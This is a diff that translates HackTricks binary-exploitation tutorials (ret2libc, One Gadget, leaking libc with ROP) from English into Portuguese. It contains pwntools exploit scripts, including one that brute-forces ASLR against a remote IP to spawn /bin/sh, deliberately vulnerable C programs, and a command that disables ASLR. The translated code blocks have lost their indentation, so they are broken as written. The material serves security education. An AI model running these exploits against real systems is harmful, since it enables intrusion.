+### **Exemplo de Etapas (simplificado)**
 
-- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh)
-- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function
+- Obter o endereço da função a ser chamada (por exemplo, system) e o comando a ser chamado (por exemplo, /bin/sh)
+- Gerar uma cadeia ROP para passar o primeiro argumento apontando para a string do comando e o fluxo de execução para a função
 
-## Finding the addresses
-
-- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
+## Encontrando os endereços
 
+- Supondo que a `libc` utilizada seja a da máquina atual, você pode encontrar onde ela será carregada na memória com:
 ```bash
 ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
 ```
-
-If you want to check if the ASLR is changing the address of libc you can do:
-
+Se você quiser verificar se o ASLR está mudando o endereço da libc, você pode fazer:
 ```bash
 for i in `seq 0 20`; do ldd ./ | grep libc; done
 ```
-
-- Knowing the libc used it's also possible to find the offset to the `system` function with:
-
+- Sabendo a libc utilizada, também é possível encontrar o offset para a função `system` com:
 ```bash
 readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
 ```
-
-- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
-
+- Sabendo a libc utilizada, também é possível encontrar o deslocamento para a string `/bin/sh` com:
 ```bash
 strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
 ```
+### Usando gdb-peda / GEF
 
-### Using gdb-peda / GEF
-
-Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
-
+Sabendo a libc utilizada, também é possível usar Peda ou GEF para obter o endereço da função **system**, da função **exit** e da string **`/bin/sh`** :
 ```bash
 p system
 p exit
 find "/bin/sh"
 ```
+### Usando /proc/\/maps
 
-### Using /proc/\/maps
+Se o processo está criando **filhos** toda vez que você fala com ele (servidor de rede), tente **ler** esse arquivo (provavelmente você precisará ser root).
 
-If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
-
-Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
+Aqui você pode encontrar **exatamente onde a libc está carregada** dentro do processo e **onde será carregada** para cada filho do processo.
 
 ![](<../../../images/image (853).png>)
 
-In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
+Neste caso, está carregada em **0xb75dc000** (Este será o endereço base da libc)
 
-## Unknown libc
+## Libc desconhecida
 
-It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used:
+Pode ser possível que você **não saiba qual libc o binário está carregando** (porque pode estar localizado em um servidor onde você não tem acesso). Nesse caso, você poderia abusar da vulnerabilidade para **vazar alguns endereços e descobrir qual biblioteca libc** está sendo usada:
 
 {{#ref}}
 rop-leaking-libc-address/
 {{#endref}}
 
-And you can find a pwntools template for this in:
+E você pode encontrar um template do pwntools para isso em:
 
 {{#ref}}
 rop-leaking-libc-address/rop-leaking-libc-template.md
 {{#endref}}
 
-### Know libc with 2 offsets
+### Conhecendo a libc com 2 offsets
 
-Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**.
+Verifique a página [https://libc.blukat.me/](https://libc.blukat.me/) e use um **casal de endereços** de funções dentro da libc para descobrir a **versão utilizada**.
 
-## Bypassing ASLR in 32 bits
+## Contornando ASLR em 32 bits
 
-These brute-forcing attacks are **only useful for 32bit systems**.
-
-- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
+Esses ataques de força bruta são **úteis apenas para sistemas de 32 bits**.
 
+- Se o exploit for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits):
 ```python
 for off in range(0xb7000000, 0xb8000000, 0x1000):
 ```
-
-- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
+- Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor levar 10s a mais para responder**, você encontrou o endereço dessa função.
 
 ## One Gadget
 
-Execute a shell just jumping to **one** specific **address** in libc:
+Execute um shell apenas pulando para **um** **endereço** específico na libc:
 
 {{#ref}}
 one-gadget.md
 {{#endref}}
 
-## x86 Ret2lib Code Example
-
-In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
+## Exemplo de Código x86 Ret2lib
 
+Neste exemplo, a força bruta do ASLR está integrada no código e o binário vulnerável está localizado em um servidor remoto:
 ```python
 from pwn import *
 
@@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002)
 c.recvline()
 
 for off in range(0xb7000000, 0xb8000000, 0x1000):
-    p = ""
-    p += p32(off + 0x0003cb20) #system
-    p += "CCCC" #GARBAGE, could be address of exit()
-    p += p32(off + 0x001388da) #/bin/sh
-    payload = 'A'*0x20010 + p
-    c.send(payload)
-    c.interactive()
+p = ""
+p += p32(off + 0x0003cb20) #system
+p += "CCCC" #GARBAGE, could be address of exit()
+p += p32(off + 0x001388da) #/bin/sh
+payload = 'A'*0x20010 + p
+c.send(payload)
+c.interactive()
 ```
+## x64 Ret2lib Exemplo de Código
 
-## x64 Ret2lib Code Example
-
-Check the example from:
+Verifique o exemplo de:
 
 {{#ref}}
 ../
 {{#endref}}
 
-## ARM64 Ret2lib Example
+## Exemplo ARM64 Ret2lib
 
-In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
+No caso do ARM64, a instrução ret salta para onde o registrador x30 está apontando e não para onde o registrador da pilha está apontando. Portanto, é um pouco mais complicado.
 
-Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
+Além disso, no ARM64, uma instrução faz o que a instrução faz (não é possível saltar no meio das instruções e transformá-las em novas).
 
-Check the example from:
+Verifique o exemplo de:
 
 {{#ref}}
 ret2lib-+-printf-leak-arm64.md
 {{#endref}}
 
-## Ret-into-printf (or puts)
+## Ret-into-printf (ou puts)
 
-This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**.
+Isso permite **vazar informações do processo** chamando `printf`/`puts` com alguns dados específicos colocados como argumento. Por exemplo, colocar o endereço de `puts` no GOT em uma execução de `puts` irá **vazar o endereço de `puts` na memória**.
 
 ## Ret2printf
 
-This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible):
+Isso basicamente significa abusar de um **Ret2lib para transformá-lo em uma vulnerabilidade de strings de formato `printf`** usando o `ret2lib` para chamar printf com os valores para explorá-lo (parece inútil, mas é possível):
 
 {{#ref}}
 ../../format-strings/
 {{#endref}}
 
-## Other Examples & references
+## Outros Exemplos & referências
 
 - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
-  - Ret2lib, given a leak to the address of a function in libc, using one gadget
+- Ret2lib, dado um vazamento para o endereço de uma função na libc, usando um gadget
 - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
-  - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
+- 64 bits, ASLR habilitado, mas sem PIE, o primeiro passo é preencher um overflow até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts para vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
 - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
-  - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
+- 64 bits, ASLR habilitado, sem canário, overflow de pilha na função principal de uma função filha. Gadget ROP para chamar puts para vazar o endereço de puts do GOT e então chamar um gadget.
 - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
-  - 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.
+- 64 bits, sem pie, sem canário, sem relro, nx. Usa a função write para vazar o endereço de write (libc) e chama um gadget.
 - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
-  - Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`.
+- Usa uma string de formato para vazar o canário da pilha e um buffer overflow para chamar system (está no GOT) com o endereço de `/bin/sh`.
 - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
-  - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
+- 32 bits, sem relro, sem canário, nx, pie. Abusa de um indexação ruim para vazar endereços da libc e heap da pilha. Abusa do buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação).
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md
index 5b24ece5f..0eec656df 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md
@@ -2,36 +2,32 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\
-However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
+[**One Gadget**](https://github.com/david942j/one_gadget) permite obter um shell em vez de usar **system** e **"/bin/sh". One Gadget** encontrará dentro da biblioteca libc alguma maneira de obter um shell (`execve("/bin/sh")`) usando apenas um **endereço**.\
+No entanto, normalmente existem algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL`. Como você controla os valores dentro do **RSP**, você só precisa enviar mais alguns valores NULL para que a restrição seja evitada.
 
 ![](<../../../images/image (754).png>)
-
 ```python
 ONE_GADGET = libc.address + 0x4526a
 rop2 = base + p64(ONE_GADGET) + "\x00"*100
 ```
-
-To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
+Para o endereço indicado pelo One Gadget, você precisa **adicionar o endereço base onde `libc`** está carregado.
 
 > [!TIP]
-> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements).
+> One Gadget é uma **grande ajuda para técnicas de Arbitrary Write 2 Exec** e pode **simplificar ROP** **chains** já que você só precisa chamar um endereço (e cumprir os requisitos).
 
 ### ARM64
 
-The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**.
+O repositório do github menciona que **ARM64 é suportado** pela ferramenta, mas ao executá-la na libc de um Kali 2023.3 **não encontra nenhum gadget**.
 
 ## Angry Gadget
 
-From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\
-If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try!
-
+Do [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspirado pelo [OneGadget](https://github.com/david942j/one_gadget), esta ferramenta é escrita em python e usa [angr](https://github.com/angr/angr) para testar restrições para gadgets executando `execve('/bin/sh', NULL, NULL)`\
+Se você ficou sem gadgets para tentar do OneGadget, Angry Gadget oferece muito mais com restrições complicadas para tentar!
 ```bash
 pip install angry_gadget
 
 angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
index a9cfca917..20eeec170 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
@@ -2,65 +2,58 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Ret2lib - NX bypass with ROP (no ASLR)
-
+## Ret2lib - Bypass NX com ROP (sem ASLR)
 ```c
 #include 
 
 void bof()
 {
-    char buf[100];
-    printf("\nbof>\n");
-    fgets(buf, sizeof(buf)*3, stdin);
+char buf[100];
+printf("\nbof>\n");
+fgets(buf, sizeof(buf)*3, stdin);
 }
 
 void main()
 {
-    printfleak();
-    bof();
+printfleak();
+bof();
 }
 ```
-
-Compile without canary:
-
+Compile sem canário:
 ```bash
 clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
 # Disable aslr
 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
 ```
+### Encontrar offset
 
-### Find offset
+### offset x30
 
-### x30 offset
-
-Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
+Criando um padrão com **`pattern create 200`**, usando-o e verificando o offset com **`pattern search $x30`**, podemos ver que o offset é **`108`** (0x6c).
 
 

 
-Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**:
+Dando uma olhada na função main desmontada, podemos ver que gostaríamos de **pular** para a instrução que pula para **`printf`** diretamente, cujo offset de onde o binário é carregado é **`0x860`**:
 
 

 
-### Find system and `/bin/sh` string
+### Encontrar a string do sistema e `/bin/sh`
 
-As the ASLR is disabled, the addresses are going to be always the same:
+Como o ASLR está desativado, os endereços vão ser sempre os mesmos:
 
 

 
-### Find Gadgets
+### Encontrar Gadgets
 
-We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
-
-Using rooper an interesting gadget was found:
+Precisamos ter em **`x0`** o endereço da string **`/bin/sh`** e chamar **`system`**.
 
+Usando rooper, um gadget interessante foi encontrado:
 ```
 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
 ```
-
-This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
+Este gadget carregará `x0` de **`$sp + 0x18`** e então carregará os endereços x29 e x30 de sp e saltará para x30. Assim, com este gadget, podemos **controlar o primeiro argumento e então saltar para system**.
 
 ### Exploit
-
 ```python
 from pwn import *
 from time import sleep
@@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
 system = libc.sym["system"]
 
 def expl_bof(payload):
-    p.recv()
-    p.sendline(payload)
+p.recv()
+p.sendline(payload)
 
 # Ret2main
 stack_offset = 108
@@ -90,80 +83,72 @@ p.sendline(payload)
 p.interactive()
 p.close()
 ```
-
-## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
-
+## Ret2lib - Bypass de NX, ASL e PIE com vazamentos de printf da pilha
 ```c
 #include 
 
 void printfleak()
 {
-    char buf[100];
-    printf("\nPrintf>\n");
-    fgets(buf, sizeof(buf), stdin);
-    printf(buf);
+char buf[100];
+printf("\nPrintf>\n");
+fgets(buf, sizeof(buf), stdin);
+printf(buf);
 }
 
 void bof()
 {
-    char buf[100];
-    printf("\nbof>\n");
-    fgets(buf, sizeof(buf)*3, stdin);
+char buf[100];
+printf("\nbof>\n");
+fgets(buf, sizeof(buf)*3, stdin);
 }
 
 void main()
 {
-    printfleak();
-    bof();
+printfleak();
+bof();
 }
 
 ```
-
-Compile **without canary**:
-
+Compile **sem canário**:
 ```bash
 clang -o rop rop.c -fno-stack-protector -Wno-format-security
 ```
+### PIE e ASLR mas sem canário
 
-### PIE and ASLR but no canary
+- Rodada 1:
+- Vazamento de PIE da pilha
+- Abusar do bof para voltar ao main
+- Rodada 2:
+- Vazamento de libc da pilha
+- ROP: ret2system
 
-- Round 1:
-  - Leak of PIE from stack
-  - Abuse bof to go back to main
-- Round 2:
-  - Leak of libc from the stack
-  - ROP: ret2system
+### Vazamentos do Printf
 
-### Printf leaks
-
-Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
+Definindo um ponto de interrupção antes de chamar printf, é possível ver que há endereços para retornar ao binário na pilha e também endereços da libc:
 
 

 
-Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address:
+Tentando diferentes offsets, o **`%21$p`** pode vazar um endereço binário (bypass de PIE) e **`%25$p`** pode vazar um endereço da libc:
 
 

 
-Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
+Subtraindo o endereço da libc vazado com o endereço base da libc, é possível ver que o **offset** do **endereço vazado em relação à base é `0x49c40`.**
 
-### x30 offset
+### offset x30
 
-See the previous example as the bof is the same.
+Veja o exemplo anterior, pois o bof é o mesmo.
 
-### Find Gadgets
+### Encontrar Gadgets
 
-Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
-
-Using rooper another interesting gadget was found:
+Como no exemplo anterior, precisamos ter em **`x0`** o endereço da string **`/bin/sh`** e chamar **`system`**.
 
+Usando rooper, outro gadget interessante foi encontrado:
 ```
 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
 ```
-
-This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
+Este gadget carregará `x0` de **`$sp + 0x78`** e então carregará os endereços x29 e x30 de sp e saltará para x30. Assim, com este gadget, podemos **controlar o primeiro argumento e então saltar para system**.
 
 ### Exploit
-
 ```python
 from pwn import *
 from time import sleep
@@ -172,15 +157,15 @@ p = process('./rop')  # For local binary
 libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
 
 def leak_printf(payload, is_main_addr=False):
-    p.sendlineafter(b">\n" ,payload)
-    response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
-    if is_main_addr:
-        response = response[:-4] + b"0000"
-    return int(response, 16)
+p.sendlineafter(b">\n" ,payload)
+response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
+if is_main_addr:
+response = response[:-4] + b"0000"
+return int(response, 16)
 
 def expl_bof(payload):
-    p.recv()
-    p.sendline(payload)
+p.recv()
+p.sendline(payload)
 
 # Get main address
 main_address = leak_printf(b"%21$p", True)
@@ -213,5 +198,4 @@ p.sendline(payload)
 
 p.interactive()
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
index fb453a1ba..f410ad49f 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md
@@ -1,84 +1,77 @@
-# Leaking libc address with ROP
+# Vazando endereço da libc com ROP
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Quick Resume
+## Resumo Rápido
 
-1. **Find** overflow **offset**
-2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
-3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
-4. With the library, **calculate the ROP and exploit it**
+1. **Encontrar** o **offset** de overflow
+2. **Encontrar** o gadget `POP_RDI`, os gadgets `PUTS_PLT` e `MAIN`
+3. Usar os gadgets anteriores para **vazar o endereço de memória** de puts ou outra função da libc e **encontrar a versão da libc** ([donwload it](https://libc.blukat.me))
+4. Com a biblioteca, **calcular o ROP e explorá-lo**
 
-## Other tutorials and binaries to practice
+## Outros tutoriais e binários para praticar
 
-This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
-Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
+Este tutorial vai explorar o código/binário proposto neste tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
+Outros tutoriais úteis: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
 
-## Code
-
-Filename: `vuln.c`
+## Código
 
+Nome do arquivo: `vuln.c`
 ```c
 #include 
 
 int main() {
-    char buffer[32];
-    puts("Simple ROP.\n");
-    gets(buffer);
+char buffer[32];
+puts("Simple ROP.\n");
+gets(buffer);
 
-    return 0;
+return 0;
 }
 ```
 
 ```bash
 gcc -o vuln vuln.c -fno-stack-protector -no-pie
 ```
+## ROP - Modelo de vazamento de LIBC
 
-## ROP - Leaking LIBC template
-
-Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
+Baixe o exploit e coloque-o no mesmo diretório que o binário vulnerável e forneça os dados necessários para o script:
 
 {{#ref}}
 rop-leaking-libc-template.md
 {{#endref}}
 
-## 1- Finding the offset
-
-The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
+## 1- Encontrando o offset
 
+O modelo precisa de um offset antes de continuar com o exploit. Se algum for fornecido, ele executará o código necessário para encontrá-lo (por padrão `OFFSET = ""`):
 ```bash
 ###################
 ### Find offset ###
 ###################
 OFFSET = ""#"A"*72
 if OFFSET == "":
-    gdb.attach(p.pid, "c") #Attach and continue
-    payload = cyclic(1000)
-    print(r.clean())
-    r.sendline(payload)
-    #x/wx $rsp -- Search for bytes that crashed the application
-    #cyclic_find(0x6161616b) # Find the offset of those bytes
-    return
+gdb.attach(p.pid, "c") #Attach and continue
+payload = cyclic(1000)
+print(r.clean())
+r.sendline(payload)
+#x/wx $rsp -- Search for bytes that crashed the application
+#cyclic_find(0x6161616b) # Find the offset of those bytes
+return
 ```
-
-**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
-
+**Execute** `python template.py` um console GDB será aberto com o programa sendo encerrado. Dentro desse **console GDB** execute `x/wx $rsp` para obter os **bytes** que iriam sobrescrever o RIP. Finalmente, obtenha o **offset** usando um console **python**:
 ```python
 from pwn import *
 cyclic_find(0x6161616b)
 ```
-
 ![](<../../../../images/image (1007).png>)
 
-After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
+Após encontrar o offset (neste caso 40), altere a variável OFFSET dentro do template usando esse valor.\
 `OFFSET = "A" * 40`
 
-Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
+Outra maneira seria usar: `pattern create 1000` -- _execute até ret_ -- `pattern seach $rsp` do GEF.
 
-## 2- Finding Gadgets
-
-Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
+## 2- Encontrando Gadgets
 
+Agora precisamos encontrar gadgets ROP dentro do binário. Esses gadgets ROP serão úteis para chamar `puts` para encontrar a **libc** sendo usada e, posteriormente, para **lançar o exploit final**.
 ```python
 PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
 MAIN_PLT = elf.symbols['main']
@@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT))
 log.info("Puts plt: " + hex(PUTS_PLT))
 log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
 ```
+O `PUTS_PLT` é necessário para chamar a **função puts**.\
+O `MAIN_PLT` é necessário para chamar a **função main** novamente após uma interação para **explorar** o overflow **novamente** (rodadas infinitas de exploração). **É usado no final de cada ROP para chamar o programa novamente**.\
+O **POP_RDI** é necessário para **passar** um **parâmetro** para a função chamada.
 
-The `PUTS_PLT` is needed to call the **function puts**.\
-The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
-The **POP_RDI** is needed to **pass** a **parameter** to the called function.
+Nesta etapa, você não precisa executar nada, pois tudo será encontrado pelo pwntools durante a execução.
 
-In this step you don't need to execute anything as everything will be found by pwntools during the execution.
-
-## 3- Finding libc library
-
-Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
+## 3- Encontrando a biblioteca libc
 
+Agora é hora de descobrir qual versão da **biblioteca libc** está sendo usada. Para isso, vamos **vazar** o **endereço** na memória da **função** `puts` e então vamos **procurar** em qual **versão da biblioteca** a versão do puts está nesse endereço.
 ```python
 def get_addr(func_name):
-    FUNC_GOT = elf.got[func_name]
-    log.info(func_name + " GOT @ " + hex(FUNC_GOT))
-    # Create rop chain
-    rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+FUNC_GOT = elf.got[func_name]
+log.info(func_name + " GOT @ " + hex(FUNC_GOT))
+# Create rop chain
+rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
 
-    #Send our rop-chain payload
-    #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
-    print(p.clean()) # clean socket buffer (read all and print)
-    p.sendline(rop1)
+#Send our rop-chain payload
+#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
+print(p.clean()) # clean socket buffer (read all and print)
+p.sendline(rop1)
 
-    #Parse leaked address
-    recieved = p.recvline().strip()
-    leak = u64(recieved.ljust(8, "\x00"))
-    log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
-    #If not libc yet, stop here
-    if libc != "":
-        libc.address = leak - libc.symbols[func_name] #Save libc base
-        log.info("libc base @ %s" % hex(libc.address))
+#Parse leaked address
+recieved = p.recvline().strip()
+leak = u64(recieved.ljust(8, "\x00"))
+log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
+#If not libc yet, stop here
+if libc != "":
+libc.address = leak - libc.symbols[func_name] #Save libc base
+log.info("libc base @ %s" % hex(libc.address))
 
-    return hex(leak)
+return hex(leak)
 
 get_addr("puts") #Search for puts address in memmory to obtains libc base
 if libc == "":
-    print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
-    p.interactive()
+print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
+p.interactive()
 ```
-
-To do so, the most important line of the executed code is:
-
+Para fazer isso, a linha mais importante do código executado é:
 ```python
 rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
 ```
+Isso enviará alguns bytes até que a **sobrescrita** do **RIP** seja possível: `OFFSET`.\
+Em seguida, definirá o **endereço** do gadget `POP_RDI` para que o próximo endereço (`FUNC_GOT`) seja salvo no registro **RDI**. Isso ocorre porque queremos **chamar puts** **passando** o **endereço** do `PUTS_GOT`, já que o endereço na memória da função puts é salvo no endereço apontado por `PUTS_GOT`.\
+Depois disso, `PUTS_PLT` será chamado (com `PUTS_GOT` dentro do **RDI**) para que puts **leia o conteúdo** dentro de `PUTS_GOT` (**o endereço da função puts na memória**) e **imprima**.\
+Finalmente, **a função main é chamada novamente** para que possamos explorar o overflow novamente.
 
-This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
-Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
-After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
-Finally, **main function is called again** so we can exploit the overflow again.
-
-This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
+Dessa forma, conseguimos **enganar a função puts** para **imprimir** o **endereço** na **memória** da função **puts** (que está dentro da biblioteca **libc**). Agora que temos esse endereço, podemos **procurar qual versão da libc está sendo usada**.
 
 ![](<../../../../images/image (1049).png>)
 
-As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
